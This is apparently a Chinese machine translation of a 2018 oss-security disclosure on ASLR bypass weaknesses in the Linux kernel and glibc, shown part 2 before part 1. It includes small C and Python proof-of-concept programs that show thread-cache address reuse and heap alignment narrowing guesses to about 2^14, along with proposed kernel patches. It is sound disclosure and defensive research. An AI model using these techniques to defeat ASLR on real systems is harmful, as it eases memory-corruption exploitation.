New bypass and protection techniques for ASLR on Linux (2)



机器翻译加简单人工润色,翻译自:http://www.openwall.com/lists/oss-security/2018/02/27/5

相关讨论:https://lkml.org/lkml/2018/3/22/484

==========================================
II.8. 已分配内存缓存。
==========================================

glibc有许多不同的缓存,其中两个缓存在ASLR的上下文中很有趣:新创建线程的栈的缓存和栈。栈缓存的工作方式如下:在线程终止时,不会释放栈内存,而是将其传输到相应的缓存中。创建线程栈时,glibc首先检查缓存。如果缓存包含所需的内容,glibc使用该区域。在这种情况下,mmap将不会被访问,新线程将使用具有相同地址的以前使用的区域。如果攻击者成功地获得了线程堆栈地址,并且能够控制程序线程的创建和删除,则入侵者可以利用该地址的知识进行漏洞攻击。此外,如果应用程序包含未初始化的变量,它们的值也可能受攻击者的控制,这在某些情况下可能会导致攻击。

堆缓存的工作方式如下:在线程终止时,其堆移动到相应的缓存。当为新线程再次创建堆时,首先检查缓存。如果缓存具有可用区域,则将使用此区域。在本例中,上一段中有关堆栈的所有内容在这里也适用。

Here is PoC:

void * func(void *x)
{
long a[1024];
printf(”addr: %pn”, &a[0]);
if (x)
printf(”value %lxn”, a[0]);
else
{
a[0] = 0xdeadbeef;
printf(”value %lxn”, a[0]);
}
void * addr = malloc(32);
printf(”malloced %pn”, addr);
free(addr);
return 0;
}

int main(int argc, char **argv, char **envp)
{
int val;
pthread_t thread;
printf(”thread1n”);
pthread_create(&thread, NULL, func, 0);
pthread_join(thread, &val);
printf(”thread2n”);
pthread_create(&thread, NULL, func, 1);
pthread_join(thread, &val);
return 0;
}

blackzert@…sher:~/aslur/tests$ ./pthread_cache
thread1
addr: 0×7fd035e04f40
value deadbeef
malloced (b) 0×7fd030000cd0
thread2
addr: 0×7fd035e04f40
value deadbeef
malloced 0×7fd030000cd0

可以清楚地看到,连续创建的线程堆栈中局部变量的地址保持不变。同样,通过malloc为它们分配的变量的地址也是一样的;第二个线程仍然可以访问第一个线程的本地变量的一些值。攻击者可以利用此漏洞攻击未初始化变量的漏洞[18]。尽管缓存加快了应用程序的速度,但它也使攻击者能够绕过ASLR并执行攻击。

==========================================
II.9.线程缓存对齐。
==========================================

现在让我们创建一个线程,使用malloc分配一些内存,并计算与这个线程中的局部变量的差值。源代码:

void * first(void *x)
{
int a = (int)x;
int *p_a = &a;
void *ptr;
ptr = malloc(8);
printf(”%lxn%p, %pn”, (unsigned long long)ptr - (unsigned long long)p_a,
ptr, p_a);
return 0;
}

int main()
{
pthread_t one;
pthread_create(&one, NULL, &first, 0);
void *val;
pthread_join(one,&val);
return 0;
}

The first launch:

blackzert@…sher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff844e98c
0×7f20480008c0, 0×7f204fbb1f34

And the second launch:

blackzert@…sher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff94a598c
0×7fa3140008c0, 0×7fa31ab5af34

在这种情况下,差别是不一样的。每次执行它也不会保持不变。让我们考虑一下原因。

首先要注意的是:malloc派生的指针地址与进程堆地址不对应。

glibc为使用pthread_create创建的每个新线程创建一个新堆。指向此堆的指针位于TLS中,因此任何线程都会从自己的堆中分配内存,这会提高性能,因为在并发使用malloc时不需要同步线程。但为什么地址是“随机的”呢?

分配新堆时,glibc使用mmap;大小取决于配置。在这种情况下,堆大小是64 MB。堆起始地址必须与64 MB对齐。因此,系统首先分配128 MB,然后在此范围内对齐64 MB的块,同时释放未对齐的块,并在堆地址和先前分配mmap的最近区域之间创建一个“hole”。
当选择mmap_based时,内核本身带来了随机性:这个地址没有与64 MB对齐,在调用有关malloc之前的mmap内存分配也是如此。
不管为什么需要地址对齐,这都会导致一个非常有趣的效果:可以暴力破解。

Linux内核将x86-64的进程地址空间定义为“48 bit - 1 protect page”,为了简单起见,我们将其舍入到2^48(在计算大小时省略减1页)。64 MB是2^26,所以有效位等于48-26=22,总共给我们提供了2^22个不同的次线程堆。

这大大缩小了强制范围。

因为mmap地址是以一种已知的方式选择的,所以我们可以假定,使用pthread_create创建的第一个线程的堆将被选择为64 MB,接近上地址范围。更准确地说,它将接近所有加载的库、加载的文件等等。
在某些情况下,可以计算在调用有关malloc之前分配的内存量。在本例中,我们只加载了glibc和ld,并为线程创建了一个栈。所以这个值很小。

mmap_base是根据编译时的内核设置(默认为28位)选择的,熵为28到32位。所以一些上边界被相同的数量所抵消。
因此,在许多情况下,地址的上8位将等于0×7f,而在少数情况下,它们将是0×7e。这给了我们另外8 bit的确定性。为第一个线程选择堆总共有2^14种可能的选项。
创建的线程越多,用于下一个堆选择的值就越少。

让我们用以下C代码演示此行为:

void * first(void *x)
{
    int a = (int)x;
    void *ptr;
    ptr = malloc(8);
    printf("%pn", ptr );
    return 0;
}

int main()
{
    pthread_t one;
    pthread_create(&one, NULL, &first, 0);
    void *val;
    pthread_join(one,&val);
    return 0;
}

然后,让我们用Python代码启动足够多的程序来收集地址统计信息:

import subprocess
d = {}
def dump(iteration, hysto):
    print 'Iteration %d len %d'%(iteration, len(hysto))
    for key in sorted(hysto):
        print hex(key), hysto[key]
i = 0
while i < 1000000:
    out = subprocess.check_output(['./t'])
    addr = int(out, 16)
    #omit page size
    addr >>= 12
    if addr in d:
        d[addr] += 1
    else:
        d[addr] = 1
    i += 1
dump(i,d)

此代码启动简单的“./t”程序,该程序创建一个新线程足够多次。
代码借助malloc分配缓冲区并显示缓冲区地址。一旦程序完成此操作,将读取地址并计算在程序操作期间遇到地址的次数。该脚本总共收集了16,385个不同的地址,等于2^14+1。在最坏的情况下,这是攻击者可以尝试猜测所述程序的堆地址的次数。

=========================================
iii. 解决方案
=========================================

在本文中,我们回顾了几个问题-其中一些涉及到Linux内核,一些涉及到GNU Libc;现在我们可以考虑对Linux内核进行修复。
您可以通过以下链接跟踪GNU Libc问题:

- Stack protector easy to bypass
https://sourceware.org/bugzilla/show_bug.cgi?id=22850
- ld library ELF load error
https://sourceware.org/bugzilla/show_bug.cgi?id=22851
- Thread stack and heap caches
https://sourceware.org/bugzilla/show_bug.cgi?id=22852
- Heap address of pthread_create thread is aligned
https://sourceware.org/bugzilla/show_bug.cgi?id=22853

=========================================
iii.1 holes
=========================================

如第II.4节所示,Linux内核中的ELF解释器加载程序包含一个错误,并允许释放部分解释器库内存。
社区提出了一项相关的解决办法,但没有采取行动:
https://lkml.org/lkml/2017/7/14/290

=========================================
III.2加载ELF文件段的顺序。
=========================================

如上所述,在内核和glibc库的代码中,没有检查文件ELF段:代码只是相信它们的顺序是正确的。随函附上概念证明代码和修复程序:
https://github.com/blackzert/aslur

修复非常简单:我们遍历各个段并确保当前段与下一个段重叠,并且这些段按vaddr的升序排序。

https://lkml.org/lkml/2018/2/26/571

=========================================
iii.3在搜索mmap分配地址时使用mmap_min_addr。
=========================================

一旦为mmap编写了修复程序,为了以足够的熵返回地址,就会出现一个问题:一些mmap调用失败,导致访问权限错误。在执行execve时,即使是作为根用户或内核请求时也会发生这种情况。

在地址选择算法(前面介绍)中,列出的选项之一是检查地址是否有安全限制。在当前实现中,此检查验证所选地址是否大于mmap_min_addr。这是一个系统变量,管理员可以通过sysctl对其进行更改。系统管理员可以设置任何值,并且。
进程不能以小于此值的地址分配页。默认值是65536。

问题是,当在x86-64上调用mmap的地址函数时,Linux内核使用4096作为最小下限的值,这个值小于mmap_min_addr的值。如果所选地址介于4096和mmap_min_addr之间,函数capmmap_addr禁止此操作。

capmmap_addr被隐式调用;这个函数被注册为一个用于安全检查的钩子。这种体系结构解决方案提出了一些问题:首先,我们在没有能力用外部标准测试地址的情况下选择地址,然后根据当前的系统参数检查它的允许性。如果该地址没有通过检查,那么即使该地址是由内核选择的,也会被“禁止”,整个操作将以EPERM错误结束。

攻击者可以利用此问题在整个系统中造成拒绝服务:
如果攻击者能够指定一个非常大的值,系统就无法启动任何用户进程。此外,如果攻击者设法将该值存储在系统参数中,则即使重新引导也不会有任何帮助-所有创建的进程都将因EPERM错误而终止。

目前,修复方法是在向地址搜索函数发出请求时使用mmap_min_addr值作为允许的最低地址。这样的代码已经用于所有其他体系结构。
如果系统管理员开始在运行中的计算机上更改此值,会发生什么情况?这个问题仍然没有得到回答,因为更改之后的所有新分配都可能以EPERM错误结束;没有程序代码希望出现这样的错误,也不知道如何处理它。mmap文档说明如下:

“EPERM的处理函数阻止了这项操作;见fcntl(2)。”

也就是说,内核不能将EPERM返回到MAP_ANONYMOUS,尽管事实上并非如此。

https://lkml.org/lkml/2018/2/26/1053

=========================================
iii.4 mmap
=========================================

这里讨论的主要mmap问题是地址选择中缺少熵。
理想情况下,逻辑上的解决办法是随机选择内存。要随机选择它,必须首先建立一个具有适当大小的所有自由区域的列表,然后从该列表中选择满足搜索标准(请求区域的长度和允许的上下边界)的随机区域和该区域的地址。

为了实现这一逻辑,可以采用以下方法:

1.将空隙列表保存在降序数组中。在这种情况下,随机元素的选择是在单个操作中进行的,但是维护这个数组需要很多操作,以便在进程的当前虚拟地址空间映射发生变化时释放(分配)内存。
2.将空隙列表保存在树和列表中,以便找到满足长度要求的外部边界,并从数组中选择一个随机元素。如果该元素不符合最小/最大地址限制,则选择下一个,依此类推,直到找到一个(或不保留)。这种方法涉及复杂的列表和树结构,类似于VMA在地址空间更改方面已经存在的结构。
3.使用增广红黑VMA树的现有结构来绕过允许的空隙列表,并选择一个随机地址。在最坏的情况下,每个选择都必须绕过所有的峰值,但是重建树不会导致性能的任何额外的下降。

我们的选择走到了最后一条路。我们可以使用现有的VMA。
不添加冗余的组织结构,并使用以下算法选择地址:
1.使用现有算法查找具有最大有效地址的可能空白。同时,记录下VMA的结构。如果没有这样的结构,返回ENOMEM。
2.将发现的间隙记录为结果,将VMA记录为最大上边界。
3.从双链接列表中获取第一个VMA结构。它将是红-黑树上的一片叶子,因为它有最小的地址.。
4.从选定的VMA中对树进行左遍历,检查有关VMA与其前身之间的空闲区域的允许性。如果自由区域被限制所允许,则获得另一位熵。如果熵位为1,则重新定义空隙的当前值。
5.从选定的间隙空区返回随机地址。

优化算法的第四步的一种方法是不进入间隙扩展大小小于所需长度的子树。

此算法选择一个具有足够熵的地址,尽管它比当前的实现要慢。

至于明显的缺点,有必要绕过所有具有足够空隙长度的VMA结构。但是,在更改地址空间时,不会出现任何性能下降,从而抵消了这一点。

下面是修补程序之后的`less /proc/self/maps‘的输出:

314a2d0da000-314a2d101000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so
314a2d301000-314a2d302000 r–p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d302000-314a2d303000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d303000-314a2d304000 rw-p

3169afcd8000-3169afcdb000 rw-p

316a94aa1000-316a94ac6000 r-xp /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94ac6000-316a94cc5000 —p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc5000-316a94cc9000 r–p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc9000-316a94cca000 rw-p /lib/x86_64-linux-gnu/libtinfo.so.5.9

3204e362d000-3204e3630000 rw-p

4477fff2c000-447800102000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so
447800102000-447800302000 —p /lib/x86_64-linux-gnu/libc-2.26.so
447800302000-447800306000 r–p /lib/x86_64-linux-gnu/libc-2.26.so
447800306000-447800308000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so
447800308000-44780030c000 rw-p

509000396000-509000d60000 r–p /usr/lib/locale/locale-archive

56011c1b1000-56011c1d7000 r-xp /bin/less
56011c3d6000-56011c3d7000 r–p /bin/less
56011c3d7000-56011c3db000 rw-p /bin/less
56011c3db000-56011c3df000 rw-p

56011e0d8000-56011e0f9000 rw-p [heap]

7fff6b4a4000-7fff6b4c5000 rw-p [stack]
7fff6b53b000-7fff6b53e000 r–p [vvar]
7fff6b53e000-7fff6b540000 r-xp [vdso]
ffffffffff600000-ffffffffff601000 r-xp [vsyscall]

https://lkml.org/lkml/2018/2/27/267

========================================================================
IV. Related Work
========================================================================

The problem with current mmap behavior was also found by other researches:

Hector Marco-Gisbert, Ismael Ripoll-Ripoll. ASLR-NG: ASLR Next Generation. 2016
https://cybersecurity.upv.es/solutions/aslr-ng/ASLRNG-BH-white-paper.pdf

Julian Kirsch, Bruno Bierbaumer, Thomas Kittel and Claudia Eckert Dynamic
Loader Oriented Programming on Linux. 2017
https://github.com/kirschju/wiedergaenger/blob/master/kirsch-roots-2017-paper.pdf

========================================================================
V. References
========================================================================

1. https://lkml.org/lkml/2012/11/5/673
2. https://cwe.mitre.org/data/definitions/119.html
3. https://cwe.mitre.org/data/definitions/190.html
4. https://cwe.mitre.org/data/definitions/120.html
5. https://cwe.mitre.org/data/definitions/704.html
6. https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html
7. https://www.cvedetails.com/cve/CVE-2014-9427/
8. https://source.android.com/security/enhancements/enhancements70
9. https://android-review.googlesource.com/c/platform/bionic/+/178130/2
10. http://gcc.gnu.org/onlinedocs/gcc-3.3/gcc/Thread-Local.html
11. http://www.phrack.org/issues/49/14.html#article
12.
http://www.blackhat.com/presentations/bh-europe-09/Fritsch/Blackhat-Europe-2009-Fritsch-Buffer-Overflows-Linux-whitepaper.pdf
13. https://crypto.stanford.edu/cs155old/cs155-spring05/litch.pdf
14.
https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine-wp.pdf
15. https://cwe.mitre.org/data/definitions/416.html
16. http://www.skyfree.org/linux/references/ELF_Format.pdf
17. https://lwn.net/Articles/741335/
18. https://cwe.mitre.org/data/definitions/457.html
19. http://blog.ptsecurity.com/2018/02/new-bypass-and-protection-techniques.html

All sources and patches could be found at https://github.com/blackzert/aslur
repo.

Sunday, July 1, 2018 by blast

New bypass and protection techniques for ASLR on Linux (1)



http://www.openwall.com/lists/oss-security/2018/02/27/5

本文由机器翻译加简单人工润色得到.

========================================================================
Contents
========================================================================

I. Introduction
II. Problems with current implementation
II.1. Close proximity of memory location
II.2. Fixed method of loading libraries
II.3. Fixed order of execution
II.4. Holes
II.5. TLS and thread stack
II.6. malloc and mmap
II.7. MAP_FIXED and loading of ET_DYN ELF files
II.8. Cache of allocated memory
II.9. thread cache alignment
III. Solutions
III.1 Holes
III.2 Order of loading ELF file segments
III.3 Use of mmap_min_addr when searching for mmap allocation addresses
III.4 mmap
IV. Related Work
V. References

========================================================================
I. 介绍
========================================================================

开始前,版本信息:
$ uname -a
Linux blackzert-virtual-machine 4.13.0-36-generic #40-Ubuntu SMP Fri Feb 16
20:07:48 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ ldd –version
ldd (Ubuntu GLIBC 2.26-0ubuntu2.1) 2.26

今天说的这些东西对 Kernel - 4.16-rc3, GNU Libc 2.27 也一样有效

通过这个步骤开始我们的研究:
$ less /proc/self/maps

5607a1ae5000-5607a1b0b000 r-xp 00000000 08:01 1966152 /bin/less
5607a1d0a000-5607a1d0b000 r–p 00025000 08:01 1966152 /bin/less
5607a1d0b000-5607a1d0f000 rw-p 00026000 08:01 1966152 /bin/less
5607a1d0f000-5607a1d13000 rw-p 00000000 00:00 0
5607a3bf8000-5607a3c19000 rw-p 00000000 00:00 0 [heap]
7f4d147e7000-7f4d14bf4000 r–p 00000000 08:01 3016021 /usr/lib/locale/locale-archive
7f4d14bf4000-7f4d14dca000 r-xp 00000000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14dca000-7f4d14fca000 —p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fca000-7f4d14fce000 r–p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fce000-7f4d14fd0000 rw-p 001da000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7f4d14fd0000-7f4d14fd4000 rw-p 00000000 00:00 0
7f4d14fd4000-7f4d14ff9000 r-xp 00000000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d14ff9000-7f4d151f8000 —p 00025000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151f8000-7f4d151fc000 r–p 00024000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151fc000-7f4d151fd000 rw-p 00028000 08:01 1185166 /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f4d151fd000-7f4d15224000 r-xp 00000000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d1540b000-7f4d15410000 rw-p 00000000 00:00 0
7f4d15424000-7f4d15425000 r–p 00027000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d15425000-7f4d15426000 rw-p 00028000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7f4d15426000-7f4d15427000 rw-p 00000000 00:00 0
7ffdeb3ec000-7ffdeb40d000 rw-p 00000000 00:00 0 [stack]
7ffdeb41e000-7ffdeb421000 r–p 00000000 00:00 0 [vvar]
7ffdeb421000-7ffdeb423000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

- 程序的起始地址是5607a1ae5000.
- 堆的起始地址是5607a3bf8000, 作为二进制应用程序结尾的地址加上一个随机值,在本例中,它等于0×1ee5000 (5607a3bf8000-5607a1d13000).
因为是x86-64架构,所以这个地址按2^12对齐了。

- 地址 7f4d15427000 被选为 mmap_base. 当通过mmap系统调用为任何内存分配选择随机地址时,该地址将作为上边界。
- 库 ld-2.26.so, libtinfo.so.5.9, and libc-2.26.so 被顺序定位。

如果将减法应用于相邻的内存区域,我们将注意到以下几点:二进制文件、堆栈、最低本地存档地址和最高ld地址之间有很大的差别。
加载的库(文件)之间没有任何空闲页面。无论我们重复这个过程几次,文件也都实际上将保持不变:页面之间的差异将有所不同,而库和文件在相对于其他页面的位置上保持相同。
这一事实对我们的分析至关重要。

当前的mmap实现是造成这种行为的原因。逻辑位于在do_mmap内核函数中,该函数实现内存在用户态(mmap syscall)和内核(在执行execve时)的分配。
在第一阶段,选择一个可用地址(get_unmapped_area);在第二阶段,将页面映射到该地址(mmap_region)。
我们将从第一阶段开始。

在选择地址时,可以使用以下选项:
1.如果设置MAP_FIXED 标志,系统将返回addr参数的值作为地址。
2.如果addr参数值不是零,则使用此值作为hint,在某些情况下,将直接选择此值。
3.只要可用区域的最大地址长度合适并且位于可选择地址的允许范围内,将选择它作为地址。
4.检查地址是否存在与安全相关的限制。
如果所有操作都成功,则将分配所选地址的内存区域。

地址选择算法的细节
进程虚拟内存管理器的基础结构是vm_area_struct(简称vma):

  struct vm_area_struct {
      unsigned long vm_start; /* Our start address within vm_mm. */
      unsigned long vm_end; /* The first byte after our end address
  within vm_mm. */
      ...
      /* linked list of VM areas per task, sorted by address */
      struct vm_area_struct *vm_next, *vm_prev;

      struct rb_node vm_rb;
      ...
      pgprot_t vm_page_prot; /* Access permissions of this VMA. */
      ...
  };

此结构描述虚拟内存区域的开始、区域结束和区域内页的访问标志。VMA按升序排列在双链接的区域起始地址列表中,也按升序排列在区域起始地址的增广红-黑树中。
内核开发人员自己给出了这个解决方案的一个很好的基本原理[1]。

红-黑树增强是特定节点的可用内存量。
节点可用内存量定义为:
-在升序双链接列表中,当前vma的开始与前面vma的结束之间的内存空间的差值。
-左子树的可用内存量。
-右手子树的可用内存量。

这种结构使快速搜索(在O(log n)时间内)可以对应于某个地址的VMA或选择某一长度的可用范围。
在地址选择过程中,还确定了两个重要的边界:最小下边界和最大上边界。

下边界由体系结构确定为最小允许地址或系统管理员允许的最小值。上边界即mmap_base,这个值被选择为基于栈的随机值。这里“栈”是指最大栈地址,而“随机”是一个随机值,熵为28到32位,这取决于相关的内核参数。
Linux内核不能选择高于mmap_base的地址。在地址进程的地址空间中,大型mmap_base值要么对应于堆栈和特殊系统区域(vvar和vdso),要么显式地标记为MMAP_FIXED标志,否则将永远不会使用。

因此,在整个方案中,下列值仍然未知:
-主线程栈的起始地址
-加载应用程序二进制文件的Base Address
-应用程序堆的起始地址以及mmap_base,它是使用mmap分配内存的起始地址。

=====================================================
ii.当前实施中的问题。
=====================================================
刚才描述的内存分配算法有一些缺点。
=====================================================
ii.1.接近内存位置。
=====================================================
应用程序使用虚拟RAM。应用程序对内存的常用用法包括加载模块、线程堆栈和加载文件的堆、代码和数据(.rodata,.bss)。
在处理这些页面中的数据时,任何错误都可能影响到附近的数据。当更多具有不同类型内容的页面位于近距离时,攻击区域会变得更大,成功利用的可能性也会增加。
此类错误的例子包括越界[2]、溢出(整数[3]或缓冲区[4])和类型混淆[5]。

这个问题的一个具体实例是,系统仍然容易受到offset2lib攻击,如[6]所述。
简而言之,程序加载的Base Address和库的加载地址都是连在一起的,但是内核却选择它作为了mmap_base。

如果应用程序包含漏洞,则更容易利用它们,因为库映像靠近二进制应用程序映像。
演示此问题的一个很好的示例是[7]中的PHP漏洞,该漏洞允许读取或更改相邻的内存区域。

=====================================================
ii.2. 加载库的固定方法。
=====================================================

在Linux中,动态库实际上是在不调用Linux内核的情况下加载的。LD库(来自GNU Libc)负责这个过程。内核参与的唯一方式是通过mmap函数(我们还不考虑open/stat和其他文件操作):这是将代码和库数据加载到进程地址空间所必需的。一个例外是ld库本身,它通常作为文件加载的解释器写入可执行ELF文件中。至于解释器,它是由内核加载的。

如果使用GNU Libc中的ld作为解释器,则库的加载方式与以下类似:

1.将程序ELF文件添加到文件队列中进行处理。
2.从队列(FIFO)中取出第一个ELF文件。
3.如果该文件尚未加载到进程地址空间,则在mmap的帮助下加载该文件。
4.该文件所需的每个库都被添加到文件队列中进行处理。
5.只要队列不是空的,就重复步骤2。

此算法意味着加载顺序总是确定的,如果所有需要的库(其二进制文件)都是已知的,则可以重复加载。如果知道任何单个库的地址,则允许恢复所有库的地址:

1.假设libc库的地址是已知的。
2.将libc库的长度添加到libc加载地址-这是在libc之前加载的库的加载地址。
3.以同样的方式继续,我们获得在libc之前加载的库的mmap_base值和地址。
4.从libc地址减去libc之后加载的库的长度。这是libc之后加载的库的地址。
5.以同样的方式迭代,我们获得在程序开始时加载的所有库的地址。

如果在程序运行时加载了库(例如,通过dlopen函数),在某些情况下,攻击者可能不知道它相对于其他库的位置。例如,如果存在攻击者不知道分配的内存区域大小的mmap调用,则可能发生这种情况。

在利用漏洞时,对库地址的了解非常有帮助:例如,在搜索用于构建ROP链的gadget时。此外,如果任何库包含允许相对于库地址进行读取或写入值的漏洞,则此类漏洞很容易被利用,因为库是连续的。

大多数Linux发行版都包含具有最广泛库(例如libc)的编译包。这意味着库的长度是已知的,在这种情况下,相当于就知道了进程的虚拟地址空间分布的部分细节。

理论上,可以为此建立一个大型数据库。对于Ubuntu,它将包含库的版本,包括ld、libc、libp线程和libm;对于每个版本的库,可以分析它所需的多个版本的库(依赖关系)。因此,通过了解一个库的地址,就可以知道描述部分进程地址空间分布的可能映射版本。

这类数据库的例子有libcdb.com和libc.blukat.me,它们用于根据已知函数的偏移量来标识libc版本。

这意味着加载库的固定方法是应用程序的安全问题。上一节描述的mmap的行为使问题复杂化。在Android中,这个问题在版本7和更高版本[8][9]中得到了解决。

=====================================================
ii.3.固定执行顺序
=====================================================

程序有一个有趣的属性:在执行线程中有一对特定的点,在这对点之间程序状态是可预测的。例如,一旦客户端连接到网络服务,服务就会向客户端分配一些资源。这些资源的一部分可以从应用程序堆中分配。在这种情况下,对象在堆中的相对位置通常是可预见的。

通过“生成”攻击者所需的程序状态,此属性对于利用应用程序非常有用。在这里,我们称这种状态为固定的执行顺序。

在此属性的某些情况下,执行线程中有某个不动点。此时,从执行开始,从启动到启动,除了一些变量之外,程序状态保持不变。例如,在执行主函数之前,ld解释器必须加载和初始化所有库,然后初始化程序。如第4.2节所述,库的相对位置差将永远相同。在执行主函数期间,差异将包括用于程序加载、库、堆栈、堆和分配在内存中的对象的特定地址。这些差异是由于第6节所述的随机化造成的。

因此,攻击者可以获得关于程序数据相对位置的信息。此位置不受进程地址空间随机化的影响。

在这个阶段,唯一可能的熵来源是线程之间的竞争:如果程序创建了几个线程,它们在处理数据时的竞争可能会将熵引入对象的位置。在本例中,通过程序全局构造函数或所需库的帮助,可以在执行主函数之前创建线程。

当程序开始使用堆并从堆中分配内存时(通常是在new/malloc的帮助下),在每次启动之前,堆中对象的相互位置将保持不变。

在某些情况下,线程和堆栈的位置相对于库地址也是可预测的。

如果需要,可以获得这些偏移量以用于开发。一种方法是简单地为这个应用程序执行“strace -e mmap”两次,并比较地址的差异。

=====================================================
ii.4. Holes
=====================================================

如果应用程序使用mmap分配内存,然后释放该内存的一部分,则会导致被占用区域包围的hole。如果此空闲内存(hole)再次分配给易受攻击的对象(应用程序在其处理过程中有漏洞的对象),则可能会出现问题。这就使我们回到了内存中对象位置挨得太紧的问题。

Linux内核的ELF文件加载代码中找到了这样一个Hole的说明性示例:加载ELF文件时,内核首先读取文件的大小,并尝试通过do_mmap将其完全映射。一旦文件被完全加载,第一个段之后的内存将被释放。之后的所有段都加载在相对于第一个段设置的固定地址(MAP_FIXED)处。
当然,肯定是要这么做的,因为如果你想把整个文件加载到选定的地址,并根据ELF文件中的描述按权限、偏移量给各个段分配内存,就只能这么做。
但问题在于,如果ELF文件段的描述就不是连续的,这么分配的话就会导致内存中段不连续,也就是出现了hole。

但对于ld解释器(glibc)来说,在加载ELF文件期间将不调用Unmap,而是将空闲页面(hole)的权限更改为PROT_NONE,这将禁止进程访问这些页面。这种方法更安全。

要显示该问题的影响,请从以下命令开始:
$ strace -e mmap,munmap,open,openat,arch_prctl -f cat /proc/self/maps

openat(AT_FDCWD, “/etc/ld.so.cache”, O_RDONLY|O_CLOEXEC) = 3
mmap(NULL, 79806, PROT_READ, MAP_PRIVATE, 3, 0) = 0×7fa5fd8bc000

mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0×7fa5fd8ba000
arch_prctl(ARCH_SET_FS, 0×7fa5fd8bb500) = 0
munmap(0×7fa5fd8bc000, 79806) = 0

openat(AT_FDCWD, “/proc/self/maps”, O_RDONLY) = 3
mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0×7fa5fd898000

560d3c3e5000-560d3c3ed000 r-xp 00000000 08:01 1966104 /bin/cat
560d3c5ec000-560d3c5ed000 r–p 00007000 08:01 1966104 /bin/cat
560d3c5ed000-560d3c5ee000 rw-p 00008000 08:01 1966104 /bin/cat
560d3e00b000-560d3e02c000 rw-p 00000000 00:00 0 [heap]
7fa5fcebc000-7fa5fd2c9000 r–p 00000000 08:01 3016021 /usr/lib/locale/locale-archive
7fa5fd2c9000-7fa5fd49f000 r-xp 00000000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd49f000-7fa5fd69f000 —p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd69f000-7fa5fd6a3000 r–p 001d6000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd6a3000-7fa5fd6a5000 rw-p 001da000 08:01 1179731 /lib/x86_64-linux-gnu/libc-2.26.so
7fa5fd6a5000-7fa5fd6a9000 rw-p 00000000 00:00 0
7fa5fd6a9000-7fa5fd6d0000 r-xp 00000000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd898000-7fa5fd8bc000 rw-p 00000000 00:00 0
7fa5fd8d0000-7fa5fd8d1000 r–p 00027000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd8d1000-7fa5fd8d2000 rw-p 00028000 08:01 1179654 /lib/x86_64-linux-gnu/ld-2.26.so
7fa5fd8d2000-7fa5fd8d3000 rw-p 00000000 00:00 0
7ffc0a6bc000-7ffc0a6dd000 rw-p 00000000 00:00 0 [stack]
7ffc0a730000-7ffc0a733000 r–p 00000000 00:00 0 [vvar]
7ffc0a733000-7ffc0a735000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
munmap(0×7fa5fd898000, 139264) = 0
+++ exited with 0 +++

这里“/etc/ld.so.cache”通过mmap映射到了0×7fa5fd8bc000,即ld-2.26.so内部的hole上。稍后调用mmap获取大小为8192的0×7fa5fd8ba000地址。此范围包含主线程的TCB(线程控制块)结构,设置为arch_prctl(ARCH_SET_FS, 0×7fa5fd8bb500)。在调用“cat”程序的“main”函数之前,0×7fa5fd8bc000未映射,在tcb和ld只读段之间留下了另一个hole。

这两个hole:
1.在ld.text和0×7fa5fd8ba000之间,TCB使用的是什么。
2.在0×7fa5fd8bc000(TCB的结束)和ld.rdOnly之间,如果攻击者在这些漏洞中执行mmap之后容易遭受攻击对象(只需指定大小)并使用读/写超出限制的漏洞来访问LD数据或TCB或任何其他库数据,则可能使用该漏洞绕过ASLR。

以‘/self/proc/map’本身为例,它被mmap到0×7fa5fd898000的hole中。
在用户态调用mmap的另一种方法是使用长度很大的malloc调用。本例中是glibc的malloc调用的mmap。

=====================================================
ii.5. TLS和线程栈
=====================================================

线程本地存储(TLS)是一种机制,在这种机制中,多线程进程中的每个线程都可以为数据存储分配位置[10]。该机制在不同的体系结构和操作系统上实现不同。在我们的示例中,这是x86-64下的glibc实现。对于x86来说,对于所讨论的mmap问题,任何差异都不会是实质性的。

对于glibc的代码来说,mmap也用于创建TLS。这意味着TLS也是按照这里已经描述的方式选择的。如果TLS接近易受攻击的对象,则可以对其进行更改。

TLS有什么有趣的?在glibc实现中,段寄存器fs(对于x86-64体系结构)指向TLS。其结构由glibc源文件中定义的tcbhead_t类型描述:

typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
